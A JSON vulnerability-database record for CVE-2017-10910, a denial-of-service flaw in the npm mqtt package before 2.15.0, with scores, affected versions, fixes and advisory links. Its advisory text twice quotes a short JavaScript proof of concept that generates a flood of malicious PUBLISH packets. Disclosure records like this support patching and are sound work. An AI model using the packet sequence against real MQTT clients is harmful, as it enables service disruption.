{"id":"CVE-2017-10910","aliases":["EUVD-2017-0363","GHSA-h9mj-fghc-664w"],"status":"published","title":"Denial of Service in mqtt","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","severity":{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-07","score":0.02257,"percentile":0.83059,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-674"],"published":"2017-12-27T18:00:00Z","modified":"2026-10-20T10:48:08Z","fixes":[{"ecosystem":"npm","package":"mqtt","fixed_in":["2.15.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.15.0"}]}]},{"source":"osv","ecosystem":"npm","package":"mqtt","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.15.0"}]}]}],"products":[{"vendor":"mqtt.js.","product":"mqtt.js"},{"vendor":"mqtt.js_project","product":"mqtt.js"}],"references":[{"url":"https://jvn.jp/en/jp/JVN45494523/index.html","tags":["third-party-advisory","x_refsource_JVN","x_transferred","Third Party Advisory","VDB Entry","advisory","web"]},{"url":"https://github.com/mqttjs/MQTT.js/releases/tag/v2.15.0","tags":["x_refsource_MISC","x_transferred","Release Notes","Third Party Advisory","advisory","web"]},{"url":"https://github.com/mqttjs/MQTT.js/commit/403ba53b838f2d319a0c0505a045fe00239e9923","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-10910","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h9mj-fghc-664w","tags":["advisory"]},{"url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/357.json","tags":["web"]},{"url":"https://www.npmjs.com/advisories/555","tags":["web"]},{"url":"https://github.com/mqttjs/MQTT.js","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2017-10910","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","status":"published","published":"2017-12-27T18:00:00Z","modified":"2024-08-05T17:50:12.585Z","updated_at":"2026-11-02T14:33:13.27226Z"}],"euvd":[{"id":"EUVD-2017-0363","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","status":"published","published":"2017-12-27T18:00:00Z","modified":"2024-08-05T17:50:12Z","updated_at":"2026-11-03T02:23:25.703104Z"}],"ghsa":[{"id":"GHSA-h9mj-fghc-664w","title":"Denial of Service in mqtt","description":"Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i\u003c=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.","status":"published","published":"2017-12-28T22:51:58Z","modified":"2023-01-09T05:02:55Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:36:04.396827Z"}],"nvd":[{"id":"CVE-2017-10910","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","status":"published","published":"2017-12-28T02:29:03.427Z","modified":"2026-06-17T01:00:54.297Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary"},{"version":"2.0","score":4,"vector":"AV:N/AC:L/Au:S/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:04:11.215487Z"}],"osv":[{"id":"CVE-2017-10910","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","status":"published","published":"2017-12-28T02:29:03.427Z","modified":"2026-10-20T10:48:08.737431119Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:44:03.851821Z"},{"id":"GHSA-h9mj-fghc-664w","title":"Denial of Service in mqtt","description":"Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i\u003c=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.","status":"published","published":"2017-12-28T22:51:58Z","modified":"2023-11-08T03:58:48.928864Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}
